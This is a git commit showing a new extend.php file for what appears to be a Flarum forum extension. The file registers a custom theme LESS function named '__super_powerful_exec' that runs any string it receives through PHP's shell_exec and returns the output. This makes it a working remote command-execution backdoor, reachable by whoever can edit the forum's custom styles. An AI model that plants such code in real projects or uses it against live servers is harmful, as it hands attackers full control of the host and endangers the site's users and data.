This commit is contained in:
2022-08-30 16:14:38 +08:00
commit a4e262621d
4 changed files with 7668 additions and 0 deletions

19
extend.php Normal file
View File

@@ -0,0 +1,19 @@
<?php
use Flarum\Extend;
return [
(new Extend\Theme())
->addCustomLessFunction("__super_powerful_exec", function (mixed $text) {
if (is_string($text)) {
$result = shell_exec($text);
if (is_string($result)) {
return $result;
} else {
return "";
}
} else {
return "";
}
})
];